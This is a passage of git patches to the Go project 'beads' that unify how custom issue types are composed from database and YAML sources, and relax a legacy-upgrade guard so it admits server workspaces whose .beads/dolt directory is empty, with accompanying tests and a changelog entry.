return nil, fmt.Errorf("db: GetCustomTypes: %w", err) } - fromDB = fromConfig } - return unionWithYAMLCustomTypes(fromDB, config.GetCustomTypesFromYAML()), nil + return issueops.ComposeCustomTypes(fromTable, configValue, config.GetCustomTypesFromYAML()), nil } func (r *configSQLRepositoryImpl) readCustomTypesTable(ctx context.Context) ([]string, error) { @@ -169,39 +172,6 @@ func (r *configSQLRepositoryImpl) readCustomTypesTable(ctx context.Context) ([]s return out, nil } -func (r *configSQLRepositoryImpl) readCustomTypesConfig(ctx context.Context) ([]string, error) { - value, err := r.GetConfig(ctx, "types.custom") - if err != nil { - return nil, fmt.Errorf("db: GetCustomTypes: %w", err) - } - return issueops.ParseTypesConfigValue(value), nil -} - -func unionWithYAMLCustomTypes(dbTypes, yamlTypes []string) []string { - if len(dbTypes) == 0 && len(yamlTypes) == 0 { - return nil - } - seen := make(map[string]struct{}, len(dbTypes)+len(yamlTypes)) - out := make([]string, 0, len(dbTypes)+len(yamlTypes)) - for _, src := range [][]string{dbTypes, yamlTypes} { - for _, t := range src { - t = strings.TrimSpace(t) - if t == "" { - continue - } - if _, ok := seen[t]; ok { - continue - } - seen[t] = struct{}{} - out = append(out, t) - } - } - if len(out) == 0 { - return nil - } - return out -} - func (r *configSQLRepositoryImpl) GetAllowedPrefixes(ctx context.Context) (string, error) { value, err := r.GetConfig(ctx, "allowed_prefixes") if err != nil { diff --git a/internal/storage/issueops/config_helpers.go b/internal/storage/issueops/config_helpers.go index d21de3b98..f17d858d4 100644 --- a/internal/storage/issueops/config_helpers.go +++ b/internal/storage/issueops/config_helpers.go @@ -56,7 +56,7 @@ func ResolveCustomConfigInTx(ctx context.Context, tx DBTX) (statuses []types.Cus return nil, nil, err } if statusesFromTable && typesFromTable { - return statuses, customTypes, nil + return statuses, ComposeCustomTypes(customTypes, "", config.GetCustomTypesFromYAML()), nil } cfg, err := getConfigKeysInTx(ctx, tx, "status.custom", "types.custom") @@ -66,12 +66,8 @@ func ResolveCustomConfigInTx(ctx context.Context, tx DBTX) (statuses []types.Cus statuses = ParseStatusFallback(yamlStatuses) } } - if !typesFromTable { - if yamlTypes := config.GetCustomTypesFromYAML(); len(yamlTypes) > 0 { - customTypes = yamlTypes - } - } - return statuses, customTypes, nil + // The types.custom row is unreadable; the remaining layers still compose. + return statuses, ComposeCustomTypes(customTypes, "", config.GetCustomTypesFromYAML()), nil } if !statusesFromTable { @@ -83,14 +79,7 @@ func ResolveCustomConfigInTx(ctx context.Context, tx DBTX) (statuses []types.Cus statuses = ParseStatusFallback(yamlStatuses) } } - if !typesFromTable { - if v := cfg["types.custom"]; v != "" { - customTypes = ParseTypesConfigValue(v) - } else if yamlTypes := config.GetCustomTypesFromYAML(); len(yamlTypes) > 0 { - customTypes = yamlTypes - } - } - return statuses, customTypes, nil + return statuses, ComposeCustomTypes(customTypes, cfg["types.custom"], config.GetCustomTypesFromYAML()), nil } func resolveCustomStatusesFromTableInTx(ctx context.Context, tx DBTX) ([]types.CustomStatus, bool, error) { @@ -280,21 +269,42 @@ func ResolveCustomTypesInTx(ctx context.Context, tx DBTX) ([]string, error) { // fallback. The table-empty case is intentional: schema migration creates the // table but may not have populated it from the existing types.custom config // string yet. + var configValue string if len(fromDB) == 0 { value, err := GetConfigInTx(ctx, tx, "types.custom") if err != nil { return customTypesYAMLFallback(config.GetCustomTypesFromYAML, err) } - if value != "" { - fromDB = ParseTypesConfigValue(value) - } + configValue = value } + return ComposeCustomTypes(fromDB, configValue, config.GetCustomTypesFromYAML()), nil +} - // Overlay-union with YAML types.custom regardless of the DB-side result. - // gastownhall/beads#4024: project-extension types declared in .beads/config.yaml - // must validate server-side even when the database side hasn't been migrated - // or populated with those types. - return mergeWithYAMLCustomTypes(fromDB, config.GetCustomTypesFromYAML), nil +// ComposeCustomTypes is the single rule for which custom issue types a +// workspace has. Every reader of the three sources — the resolvers here, the +// proxied-server config repository, and therefore both `bd types` and +// create/update validation in every mode — composes them through this +// function, so the listed set and the accepted set cannot drift apart: +// +// 1. the custom_types table, when it has rows; +// 2. otherwise the types.custom config row (CSV or JSON array), which covers +// databases whose table has not been populated yet; +// 3. always unioned with config.yaml types.custom, the project-extension +// overlay (gastownhall/beads#4024). +// +// Names are trimmed, empties dropped and duplicates removed; database types +// keep their order and YAML-only types are appended in declared order. +// Returns nil when no layer supplies a type. +func ComposeCustomTypes(fromTable []string, configValue string, yamlTypes []string) []string { + fromDB := dedupePreservingOrder(fromTable) + if len(fromDB) == 0 && configValue != "" { + fromDB = dedupePreservingOrder(ParseTypesConfigValue(configValue)) + } + merged := mergeWithYAMLCustomTypes(fromDB, func() []string { return yamlTypes }) + if len(merged) == 0 { + return nil + } + return merged } // mergeWithYAMLCustomTypes returns the union of dbTypes and the YAML-declared diff --git a/internal/storage/issueops/custom_types_parity_test.go b/internal/storage/issueops/custom_types_parity_test.go new file mode 100644 index 000000000..f4147ccc0 --- /dev/null +++ b/internal/storage/issueops/custom_types_parity_test.go @@ -0,0 +1,173 @@ +package issueops + +import ( + "context" + "os" + "path/filepath" + "reflect" + "regexp" + "testing" + + "github.com/DATA-DOG/go-sqlmock" + "github.com/steveyegge/beads/internal/config" +) + +// withYAMLCustomTypes points the process config at a throwaway +// .beads/config.yaml declaring types.custom, with HOME and XDG_CONFIG_HOME +// isolated so no user-level config can leak in. +func withYAMLCustomTypes(t *testing.T, customCSV string) { + t.Helper() + dir := t.TempDir() + t.Setenv("HOME", filepath.Join(dir, "home")) + t.Setenv("XDG_CONFIG_HOME", filepath.Join(dir, "xdg")) + t.Setenv("BEADS_DIR", "") + beadsDir := filepath.Join(dir, ".beads") + if err := os.MkdirAll(beadsDir, 0o755); err != nil { + t.Fatalf("mkdir .beads: %v", err) + } + content := "" + if customCSV != "" { + content = "types:\n custom: \"" + customCSV + "\"\n" + } + if err := os.WriteFile(filepath.Join(beadsDir, "config.yaml"), []byte(content), 0o644); err != nil { + t.Fatalf("write config.yaml: %v", err) + } + t.Chdir(dir) + config.ResetForTesting() + if err := config.Initialize(); err != nil { + t.Fatalf("config.Initialize: %v", err) + } + t.Cleanup(config.ResetForTesting) +} + +// customTypeSources describes one database + config.yaml state. +type customTypeSources struct { + table []string // custom_types rows + configRow string // config types.custom value ("" = unset) + yaml string // config.yaml types.custom CSV ("" = unset) +} + +func expectCustomTypesTable(mock sqlmock.Sqlmock, names []string) { + rows := sqlmock.NewRows([]string{"name"}) + for _, n := range names { + rows.AddRow(n) + } + mock.ExpectQuery(regexp.QuoteMeta("SELECT name FROM custom_types ORDER BY name")).WillReturnRows(rows) +} + +// resolveViaCustomTypesInTx is the resolver issue create/update validation uses. +func resolveViaCustomTypesInTx(t *testing.T, src customTypeSources) []string { + t.Helper() + db, mock, tx := beginMockTx(t) + defer db.Close() + expectCustomTypesTable(mock, src.table) + if len(src.table) == 0 { + rows := sqlmock.NewRows([]string{"value"}) + if src.configRow != "" { + rows.AddRow(src.configRow) + } + mock.ExpectQuery(regexp.QuoteMeta("SELECT value FROM config WHERE `key` = ?")). + WithArgs("types.custom").WillReturnRows(rows) + } + got, err := ResolveCustomTypesInTx(context.Background(), tx) + if err != nil { + t.Fatalf("ResolveCustomTypesInTx: %v", err) + } + if err := mock.ExpectationsWereMet(); err != nil { + t.Fatalf("unmet SQL expectations: %v", err) + } + return got +} + +// resolveViaCustomConfigInTx is the resolver the server-mode store's +// GetCustomTypes (and so direct-mode `bd types`) uses. +func resolveViaCustomConfigInTx(t *testing.T, src customTypeSources) []string { + t.Helper() + db, mock, tx := beginMockTx(t) + defer db.Close() + // One custom status so the status half resolves from its table and the + // config-row read below is driven by the types half alone. + mock.ExpectQuery(regexp.QuoteMeta("SELECT name, category FROM custom_statuses ORDER BY name")). + WillReturnRows(sqlmock.NewRows([]string{"name", "category"}).AddRow("review", "wip")) + expectCustomTypesTable(mock, src.table) + if len(src.table) == 0 { + rows := sqlmock.NewRows([]string{"key", "value"}) + if src.configRow != "" { + rows.AddRow("types.custom", src.configRow) + } + mock.ExpectQuery(regexp.QuoteMeta("SELECT `key`, value FROM config WHERE `key` IN (?,?)")). + WithArgs("status.custom", "types.custom").WillReturnRows(rows) + } + _, got, err := ResolveCustomConfigInTx(context.Background(), tx) + if err != nil { + t.Fatalf("ResolveCustomConfigInTx: %v", err) + } + if err := mock.ExpectationsWereMet(); err != nil { + t.Fatalf("unmet SQL expectations: %v", err) + } + return got +} + +// TestCustomTypeResolversAgree pins the single composition rule for custom +// issue types (custom_types table, else the types.custom config row, always +// unioned with config.yaml types.custom). The listing path (`bd types`) and +// the validation path (create/update) must resolve the same set, or `bd types` +// advertises types that create rejects or vice versa. +func TestCustomTypeResolversAgree(t *testing.T) { + cases := []struct { + name string + src customTypeSources + want []string + }{ + {"nothing configured", customTypeSources{}, nil}, + {"table only", customTypeSources{table: []string{"convoy", "rig"}}, []string{"convoy", "rig"}}, + {"config row only", customTypeSources{configRow: "convoy,rig"}, []string{"convoy", "rig"}}, + {"yaml only", customTypeSources{yaml: "gizmo"}, []string{"gizmo"}}, + {"table plus yaml", customTypeSources{table: []string{"convoy"}, yaml: "gizmo"}, []string{"convoy", "gizmo"}}, + {"config row plus yaml", customTypeSources{configRow: "convoy", yaml: "gizmo,convoy"}, []string{"convoy", "gizmo"}}, + {"table wins over config row", customTypeSources{table: []string{"convoy"}, configRow: "convoy,rig", yaml: "gizmo"}, []string{"convoy", "gizmo"}}, + } + for _, tc := range cases { + t.Run(tc.name, func(t *testing.T) { + withYAMLCustomTypes(t, tc.src.yaml) + validate := resolveViaCustomTypesInTx(t, tc.src) + list := resolveViaCustomConfigInTx(t, tc.src) + if len(validate) == 0 && len(tc.want) == 0 && len(list) == 0 { + return + } + if !reflect.DeepEqual(validate, tc.want) { + t.Errorf("ResolveCustomTypesInTx = %#v, want %#v", validate, tc.want) + } + if !reflect.DeepEqual(list, tc.want) { + t.Errorf("ResolveCustomConfigInTx custom types = %#v, want %#v (must match the validation resolver)", list, tc.want) + } + }) + } +} + +func TestComposeCustomTypes(t *testing.T) { + cases := []struct { + name string + table []string + configRow string + yaml []string + want []string + }{ + {"empty", nil, "", nil, nil}, + {"table trimmed and deduped", []string{" convoy ", "", "convoy", "rig"}, "", nil, []string{"convoy", "rig"}}, + {"config row json form", nil, `["convoy","rig"]`, nil, []string{"convoy", "rig"}}, + {"table ignores config row", []string{"convoy"}, "rig", nil, []string{"convoy"}}, + {"yaml appended after db", []string{"rig"}, "", []string{"gizmo", "rig"}, []string{"rig", "gizmo"}}, + } + for _, tc := range cases { + t.Run(tc.name, func(t *testing.T) { + got := ComposeCustomTypes(tc.table, tc.configRow, tc.yaml) + if len(got) == 0 && len(tc.want) == 0 { + return + } + if !reflect.DeepEqual(got, tc.want) { + t.Errorf("ComposeCustomTypes = %#v, want %#v", got, tc.want) + } + }) + } +} From a8e5ccfc10b30eaa55cf644db4102c17362e1a50 Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Tue, 29 Sep 2026 02:11:21 -0700 Subject: [PATCH 222/624] fix(init): admit a server workspace whose .beads/dolt is empty so the version marker is written (#6935) A server-mode workspace with an empty .beads/dolt and no .local_version was refused as a legacy workspace, blocking every command including bd init. An empty directory holds no legacy data, so the guard now admits it (server mode only); bd init writes the marker and an existing workspace in that state self-heals on its next command. Refs #5682. Co-Authored-By: Claude Opus 5.5 (cherry picked from commit e3a12f4e5c813b57d64d6fdb8d435eccdcc18f1d) hand-resolved: CHANGELOG entry placed under the hotfix's [Unreleased] ### Fixed; cmd/bd/BUILD.bazel dropped (no Bazel on hotfix/1.3.1). Go code applied unchanged. --- CHANGELOG.md | 14 ++ cmd/bd/legacy_upgrade_guard.go | 30 ++++ .../legacy_upgrade_guard_config_yaml_test.go | 6 +- cmd/bd/legacy_upgrade_guard_e2e_test.go | 6 +- .../legacy_upgrade_guard_empty_root_test.go | 143 ++++++++++++++++++ ...gacy_upgrade_guard_external_server_test.go | 141 +++++++++++++++++ cmd/bd/legacy_upgrade_guard_test.go | 10 +- cmd/bd/legacy_upgrade_guard_witness_test.go | 7 +- 8 files changed, 338 insertions(+), 19 deletions(-) create mode 100644 cmd/bd/legacy_upgrade_guard_empty_root_test.go create mode 100644 cmd/bd/legacy_upgrade_guard_external_server_test.go diff --git a/CHANGELOG.md b/CHANGELOG.md index 64c9223f8..eec177eb2 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -126,6 +126,20 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ### Fixed +- **A server-mode workspace with an empty `.beads/dolt` is no longer refused + as legacy** + ([#5682](https://github.com/gastownhall/beads/issues/5682), + [#6935](https://github.com/gastownhall/beads/pull/6935)). bd creates `.beads/dolt` on use even when the data lives on an + external Dolt server, and leaves it empty. When the gitignored + `.local_version` witness was missing — after a fresh checkout, or when a + provisioner created the empty root before `bd init --server --external` — + the legacy-upgrade guard refused every command, `bd init` included, as a + "legacy Dolt server workspace", and no bd command could repair it. An empty + root holds nothing a legacy release could have left, so the guard now admits + it: `bd init` writes the witness, and an existing workspace in that state + re-seeds it on the next command. A pre-1.0 witness, or a `.beads/dolt` that + holds anything, is still refused. + - **`bd types` now lists exactly the types `bd create --type` accepts** ([#6934](https://github.com/gastownhall/beads/pull/6934)). The two resolved the type set through different code and could disagree: a server-mode diff --git a/cmd/bd/legacy_upgrade_guard.go b/cmd/bd/legacy_upgrade_guard.go index 02c8e36e0..738da3ac4 100644 --- a/cmd/bd/legacy_upgrade_guard.go +++ b/cmd/bd/legacy_upgrade_guard.go @@ -75,6 +75,20 @@ func guardLegacyUpgradeWorkspace(beadsDir string) error { return nil } if serverMode { + if !present && isEmptyDirectory(filepath.Join(beadsDir, "dolt")) { + // An empty .beads/dolt holds no Dolt data, so no legacy release + // could have left anything in it to protect: it carries no more + // evidence than a server workspace without that directory, which + // is admitted above. bd creates exactly this shape itself — the + // local Dolt root is made on use even when the data lives on an + // external server — so refusing it made `bd init --server + // --external` fail over a provisioner's empty root, and made a + // workspace that lost its gitignored witness unusable with no bd + // command able to repair it. Admitting it lets the command re-seed + // the witness. A present pre-1.0 witness was refused above, and a + // root holding anything at all still refuses below. + return nil + } if present && classifyVersionWitness(version) == witnessEraUnknown { // A witness that is present but unreadable — including one left // blank or whitespace-only by an interrupted or disk-full @@ -265,6 +279,22 @@ func hasLegacyDoltRoot(beadsDir string) bool { return err == nil && info.IsDir() && info.Mode()&os.ModeSymlink == 0 } +// isEmptyDirectory reports whether path is a real (non-symlink) directory with +// no entries. Any error reading it answers false, so callers fail closed. +func isEmptyDirectory(path string) bool { + info, err := os.Lstat(path) + if err != nil || !info.IsDir() || info.Mode()&os.ModeSymlink != 0 { + return false + } + dir, err := os.Open(path) // #nosec G304 -- bounded probe beneath selected workspace + if err != nil { + return false + } + defer func() { _ = dir.Close() }() + names, err := dir.Readdirnames(1) + return len(names) == 0 && err == io.EOF +} + func isNonEmptyRegularFile(path string) bool { info, err := os.Lstat(path) return err == nil && info.Mode().IsRegular() && info.Size() > 0 diff --git a/cmd/bd/legacy_upgrade_guard_config_yaml_test.go b/cmd/bd/legacy_upgrade_guard_config_yaml_test.go index 46640052d..37c89519a 100644 --- a/cmd/bd/legacy_upgrade_guard_config_yaml_test.go +++ b/cmd/bd/legacy_upgrade_guard_config_yaml_test.go @@ -31,7 +31,7 @@ func bindSelectedWorkspaceConfig(t *testing.T, beadsDir string) { } // writeDoltRootWorkspace lays down the ambiguous shape the guard classifies: a -// .beads directory that owns a local Dolt root, plus whatever metadata.json, +// .beads directory that owns a populated local Dolt root, plus whatever metadata.json, // config.yaml and version witness the case needs. An empty string means "do not // write this file at all". func writeDoltRootWorkspace(t *testing.T, metadata, configYaml, version string) string { @@ -52,9 +52,7 @@ func writeDoltRootWorkspace(t *testing.T, metadata, configYaml, version string) t.Fatal(err) } } - if err := os.Mkdir(filepath.Join(beadsDir, "dolt"), 0o700); err != nil { - t.Fatal(err) - } + populateLegacyDoltRoot(t, beadsDir) bindSelectedWorkspaceConfig(t, beadsDir) return beadsDir } diff --git a/cmd/bd/legacy_upgrade_guard_e2e_test.go b/cmd/bd/legacy_upgrade_guard_e2e_test.go index 619f2289a..0eb09ed87 100644 --- a/cmd/bd/legacy_upgrade_guard_e2e_test.go +++ b/cmd/bd/legacy_upgrade_guard_e2e_test.go @@ -490,7 +490,7 @@ func TestLegacyGuardUsesSelectedTargetSharedServerConfig(t *testing.T) { // TestLegacyGuardAdmitsConfigYamlServerWorkspace runs the real binary against // the workspace shape gc provisions — `dolt.mode: server` in -// .beads/config.yaml, a local .beads/dolt root, a metadata.json that names no +// .beads/config.yaml, a populated local .beads/dolt root, a metadata.json that names no // dolt_mode — and pins that the guard no longer calls it legacy. The in-process // guard tests bind the workspace config themselves; only a subprocess proves // that PersistentPreRunE's own binding puts the selected workspace's @@ -518,9 +518,7 @@ func TestLegacyGuardAdmitsConfigYamlServerWorkspace(t *testing.T) { repoDir := t.TempDir() initGitRepo(t, repoDir) beadsDir := filepath.Join(repoDir, ".beads") - if err := os.MkdirAll(filepath.Join(beadsDir, "dolt"), 0o700); err != nil { - t.Fatal(err) - } + populateLegacyDoltRoot(t, beadsDir) writeFile(t, filepath.Join(beadsDir, "metadata.json"), []byte(`{"backend":"dolt","dolt_database":"hq"}`)) writeFile(t, filepath.Join(beadsDir, "config.yaml"), []byte("dolt:\n mode: server\n auto-start: false\n")) if tt.version != "" { diff --git a/cmd/bd/legacy_upgrade_guard_empty_root_test.go b/cmd/bd/legacy_upgrade_guard_empty_root_test.go new file mode 100644 index 000000000..b1dac315b --- /dev/null +++ b/cmd/bd/legacy_upgrade_guard_empty_root_test.go @@ -0,0 +1,143 @@ +package main + +import ( + "os" + "path/filepath" + "testing" +) + +// populateLegacyDoltRoot lays down a .beads/dolt root that holds a Dolt +// database, the shape a historical local sql-server left behind. The guard has +// to treat such a root as evidence worth protecting. +func populateLegacyDoltRoot(t *testing.T, beadsDir string) { + t.Helper() + if err := os.MkdirAll(filepath.Join(beadsDir, "dolt", "beads", ".dolt"), 0o700); err != nil { + t.Fatal(err) + } +} + +// writeEmptyDoltRootServerWorkspace lays down the shape a current bd leaves +// behind after `bd init --server --external`: server mode selected, a +// .beads/dolt directory that bd created on use but that holds nothing because +// the data lives on the external server, and — once the gitignored witness has +// been lost, or when a provisioner created the empty root before bd init — +// no .local_version. +func writeEmptyDoltRootServerWorkspace(t *testing.T, metadata, configYaml, version string) string { + t.Helper() + beadsDir := t.TempDir() + for name, contents := range map[string]string{ + "metadata.json": metadata, + "config.yaml": configYaml, + } { + if contents == "" { + continue + } + if err := os.WriteFile(filepath.Join(beadsDir, name), []byte(contents), 0o600); err != nil { + t.Fatal(err) + } + } + if version != "" { + if err := writeLocalVersion(filepath.Join(beadsDir, localVersionFile), version); err != nil { + t.Fatal(err) + } + } + if err := os.Mkdir(filepath.Join(beadsDir, "dolt"), 0o700); err != nil { + t.Fatal(err) + } + bindSelectedWorkspaceConfig(t, beadsDir) + return beadsDir +} + +const externalServerMetadata = `{"backend":"dolt","dolt_mode":"server","dolt_server_host":"db.example.test","dolt_database":"ext_db"}` + +// TestLegacyUpgradeGuardAdmitsServerWorkspaceWithEmptyDoltRoot pins the +// external-host recovery: a server-mode workspace whose .beads/dolt is empty +// and whose witness is missing holds no local Dolt data a legacy release could +// have left there, so it carries no more evidence than a workspace with no +// .beads/dolt at all — which the guard already admits. Refusing it made the +// workspace unusable after `bd init --server --external` whenever the witness +// was absent, with no bd command able to repair it. +func TestLegacyUpgradeGuardAdmitsServerWorkspaceWithEmptyDoltRoot(t *testing.T) { + cases := []struct { + name string + metadata string + configYaml string + }{ + {name: "metadata.json external server", metadata: externalServerMetadata}, + {name: "metadata.json server", metadata: `{"backend":"dolt","dolt_mode":"server"}`}, + {name: "config.yaml server mode", configYaml: configYamlServerMode}, + // Proxied-server does not select server mode, so it never reaches the + // empty-root branch; it is admitted by the final non-embedded arm. Pin + // that so a later change to either arm cannot start refusing it. + {name: "metadata.json proxied server", metadata: `{"backend":"dolt","dolt_mode":"proxied-server"}`}, + } + for _, tc := range cases { + t.Run(tc.name, func(t *testing.T) { + warnings := captureLegacyUpgradeWarnings(t) + beadsDir := writeEmptyDoltRootServerWorkspace(t, tc.metadata, tc.configYaml, "") + + if err := guardLegacyUpgradeWorkspace(beadsDir); err != nil { + t.Fatalf("guardLegacyUpgradeWorkspace() = %v, want nil", err) + } + if warnings.Len() != 0 { + t.Fatalf("guard warned about an absent witness: %q", warnings.String()) + } + }) + } +} + +// TestLegacyUpgradeGuardEmptyDoltRootAdmissionStaysNarrow proves the empty-root +// admission relaxes nothing else: pre-1.0 evidence still refuses, a root that +// holds anything still refuses, and outside server mode an empty root is still +// the legacy embedded shape. +func TestLegacyUpgradeGuardEmptyDoltRootAdmissionStaysNarrow(t *testing.T) { + t.Run("historical server witness", func(t *testing.T) { + captureLegacyUpgradeWarnings(t) + beadsDir := writeEmptyDoltRootServerWorkspace(t, externalServerMetadata, "", "0.62.0") + + if err := guardLegacyUpgradeWorkspace(beadsDir); !isLegacyUpgradeRefusal(err) { + t.Fatalf("guardLegacyUpgradeWorkspace() = %v, want migration refusal", err) + } + }) + + t.Run("historical embedded witness", func(t *testing.T) { + captureLegacyUpgradeWarnings(t) + beadsDir := writeEmptyDoltRootServerWorkspace(t, externalServerMetadata, "", "0.49.6") + + if err := guardLegacyUpgradeWorkspace(beadsDir); !isLegacyUpgradeRefusal(err) { + t.Fatalf("guardLegacyUpgradeWorkspace() = %v, want migration refusal", err) + } + }) + + for _, entry := range []string{"beads", ".dolt", "stray-file"} { + t.Run("root holding "+entry, func(t *testing.T) { + captureLegacyUpgradeWarnings(t) + beadsDir := writeEmptyDoltRootServerWorkspace(t, externalServerMetadata, "", "") + path := filepath.Join(beadsDir, "dolt", entry) + var err error + if entry == "stray-file" { + err = os.WriteFile(path, nil, 0o600) + } else { + err = os.Mkdir(path, 0o700) + } + if err != nil { + t.Fatal(err) + } + + if err := guardLegacyUpgradeWorkspace(beadsDir); !isLegacyUpgradeRefusal(err) { + t.Fatalf("guardLegacyUpgradeWorkspace() = %v, want migration refusal", err) + } + }) + } + + for _, metadata := range []string{`{"backend":"dolt"}`, `{"backend":"dolt","dolt_mode":"embedded"}`} { + t.Run("embedded "+metadata, func(t *testing.T) { + captureLegacyUpgradeWarnings(t) + beadsDir := writeEmptyDoltRootServerWorkspace(t, metadata, "", "") + + if err := guardLegacyUpgradeWorkspace(beadsDir); !isLegacyUpgradeRefusal(err) { + t.Fatalf("guardLegacyUpgradeWorkspace() = %v, want migration refusal", err) + } + }) + } +} diff --git a/cmd/bd/legacy_upgrade_guard_external_server_test.go b/cmd/bd/legacy_upgrade_guard_external_server_test.go new file mode 100644 index 000000000..1f243fb50 --- /dev/null +++ b/cmd/bd/legacy_upgrade_guard_external_server_test.go @@ -0,0 +1,141 @@ +//go:build cgo + +package main + +import ( + "context" + "fmt" + "os" + "os/exec" + "path/filepath" + "strings" + "testing" + "time" +) + +// runExternalServerBD runs the bd binary under test in repoDir with env and +// returns its combined output. +func runExternalServerBD(t *testing.T, repoDir string, env []string, args ...string) (string, error) { + t.Helper() + ctx, cancel := context.WithTimeout(context.Background(), 60*time.Second) + defer cancel() + cmd := exec.CommandContext(ctx, buildBDUnderTest(t), args...) + cmd.Dir = repoDir + cmd.Env = env + out, err := cmd.CombinedOutput() + if ctxErr := ctx.Err(); ctxErr != nil { + t.Fatalf("bd %s did not finish before the deadline: %v\n%s", strings.Join(args, " "), ctxErr, out) + } + return string(out), err +} + +// externalServerTestEnv isolates a bd child from the developer's home and +// config (a real ~/.beads may select a shared server) and from the ambient +// BEADS_DOLT_* endpoint this package's TestMain exports, so only the flags and +// files under test choose the target. +func externalServerTestEnv(t *testing.T) []string { + t.Helper() + home := t.TempDir() + return append(envWithoutBeadsStorageSettings(), + "HOME="+home, + "XDG_CONFIG_HOME="+filepath.Join(home, ".config"), + "BEADS_TEST_IGNORE_REPO_CONFIG=1", + "BD_DISABLE_METRICS=1", + "BEADS_DOLT_AUTO_START=0", + ) +} + +func externalServerInitArgs(database string, extra ...string) []string { + args := []string{ + "init", "--quiet", "--server", "--external", + "--server-host", "127.0.0.1", + "--server-port", fmt.Sprintf("%d", testDoltServerPort), + "--database", database, + "--prefix", "ext", + "--skip-hooks", "--skip-agents", + } + return append(args, extra...) +} + +func assertCurrentVersionWitness(t *testing.T, beadsDir string) { + t.Helper() + data, err := os.ReadFile(filepath.Join(beadsDir, localVersionFile)) + if err != nil { + t.Fatalf("expected %s after the command: %v", localVersionFile, err) + } + if got := strings.TrimSpace(string(data)); got != Version { + t.Fatalf("%s = %q, want %q", localVersionFile, got, Version) + } +} + +// TestExternalServerInitWritesWitnessOverEmptyDoltRoot reproduces the +// provisioner shape: config.yaml already selects server mode and an empty +// .beads/dolt exists before `bd init --server --external` runs. The legacy +// guard used to refuse that init as a "legacy Dolt server workspace", so the +// scope never got a witness and every later command was refused too. +func TestExternalServerInitWritesWitnessOverEmptyDoltRoot(t *testing.T) { + skipIfNoDolt(t) + env := externalServerTestEnv(t) + + repoDir := t.TempDir() + initGitRepo(t, repoDir) + beadsDir := filepath.Join(repoDir, ".beads") + if err := os.MkdirAll(filepath.Join(beadsDir, "dolt"), 0o700); err != nil { + t.Fatal(err) + } + writeFile(t, filepath.Join(beadsDir, "config.yaml"), []byte("dolt.mode: server\n")) + + database := uniqueTestDBName(t) + t.Cleanup(func() { dropTestDatabase(database, testDoltServerPort) }) + + out, err := runExternalServerBD(t, repoDir, append(env, "BEADS_DIR="+beadsDir), + externalServerInitArgs(database, "--init-if-missing")...) + if err != nil { + t.Fatalf("bd init --server --external over an empty .beads/dolt failed: %v\n%s", err, out) + } + assertCurrentVersionWitness(t, beadsDir) +} + +// TestExternalServerWorkspaceRecoversMissingWitness covers a workspace already +// in the broken state: initialized against an external server, then left +// without .local_version (it is gitignored, so a fresh checkout or a cleanup +// drops it) while bd's own empty .beads/dolt remains. The next ordinary +// command must open the workspace and re-seed the witness with no manual +// steps. +func TestExternalServerWorkspaceRecoversMissingWitness(t *testing.T) { + skipIfNoDolt(t) + env := externalServerTestEnv(t) + + repoDir := t.TempDir() + initGitRepo(t, repoDir) + beadsDir := filepath.Join(repoDir, ".beads") + + database := uniqueTestDBName(t) + t.Cleanup(func() { dropTestDatabase(database, testDoltServerPort) }) + + out, err := runExternalServerBD(t, repoDir, env, externalServerInitArgs(database)...) + if err != nil { + t.Fatalf("bd init --server --external failed: %v\n%s", err, out) + } + assertCurrentVersionWitness(t, beadsDir) + + entries, err := os.ReadDir(filepath.Join(beadsDir, "dolt")) + if err != nil { + t.Fatalf("precondition: expected bd init to leave a .beads/dolt directory: %v", err) + } + if len(entries) != 0 { + t.Fatalf("precondition: expected an empty .beads/dolt for an external server, found %d entries", len(entries)) + } + if err := os.Remove(filepath.Join(beadsDir, localVersionFile)); err != nil { + t.Fatal(err) + } + + out, err = runExternalServerBD(t, repoDir, env, "list", "--json", "--all") + if err != nil { + t.Fatalf("bd list on an external-server workspace without a witness failed: %v\n%s", err, out) + } + if strings.Contains(out, "explicit migration is required") { + t.Fatalf("bd list reported a legacy-upgrade refusal:\n%s", out) + } + assertCurrentVersionWitness(t, beadsDir) +} diff --git a/cmd/bd/legacy_upgrade_guard_test.go b/cmd/bd/legacy_upgrade_guard_test.go index fe16d698c..cfae520a9 100644 --- a/cmd/bd/legacy_upgrade_guard_test.go +++ b/cmd/bd/legacy_upgrade_guard_test.go @@ -206,14 +206,12 @@ func TestLegacyUpgradeGuardMetadataLessSQLiteAndCurrentEmbeddedPrecedence(t *tes } }) - t.Run("explicit server metadata with missing version witness and local Dolt root is refused", func(t *testing.T) { + t.Run("explicit server metadata with missing version witness and populated local Dolt root is refused", func(t *testing.T) { beadsDir := t.TempDir() if err := os.WriteFile(filepath.Join(beadsDir, "metadata.json"), []byte(`{"backend":"dolt","dolt_mode":"server"}`), 0o600); err != nil { t.Fatal(err) } - if err := os.Mkdir(filepath.Join(beadsDir, "dolt"), 0o700); err != nil { - t.Fatal(err) - } + populateLegacyDoltRoot(t, beadsDir) if err := guardLegacyUpgradeWorkspace(beadsDir); !isLegacyUpgradeRefusal(err) { t.Fatalf("guardLegacyUpgradeWorkspace() = %v, want migration refusal", err) } @@ -290,9 +288,7 @@ func TestLegacyUpgradeGuardServerSelectionBeatsStaleEmbeddedRepository(t *testin t.Fatal(err) } } - if err := os.Mkdir(filepath.Join(beadsDir, "dolt"), 0o700); err != nil { - t.Fatal(err) - } + populateLegacyDoltRoot(t, beadsDir) staleRepo := filepath.Join(beadsDir, "embeddeddolt", "stale", ".dolt") if err := os.MkdirAll(staleRepo, 0o700); err != nil { t.Fatal(err) diff --git a/cmd/bd/legacy_upgrade_guard_witness_test.go b/cmd/bd/legacy_upgrade_guard_witness_test.go index 65044227f..a2f77d49c 100644 --- a/cmd/bd/legacy_upgrade_guard_witness_test.go +++ b/cmd/bd/legacy_upgrade_guard_witness_test.go @@ -84,7 +84,8 @@ func TestLegacyServerVersionSpansHistoricalServerEra(t *testing.T) { } // writeSelectedServerWorkspace lays down the ambiguous shape the guard has to -// classify: a selected Dolt server workspace that still owns a local Dolt root. +// classify: a selected Dolt server workspace that still owns a populated local +// Dolt root. func writeSelectedServerWorkspace(t *testing.T, version string) string { t.Helper() beadsDir := t.TempDir() @@ -97,9 +98,7 @@ func writeSelectedServerWorkspace(t *testing.T, version string) string { t.Fatal(err) } } - if err := os.Mkdir(filepath.Join(beadsDir, "dolt"), 0o700); err != nil { - t.Fatal(err) - } + populateLegacyDoltRoot(t, beadsDir) return beadsDir } From 5ac483bc75fc6b6c872c076b8554c8569a46f693 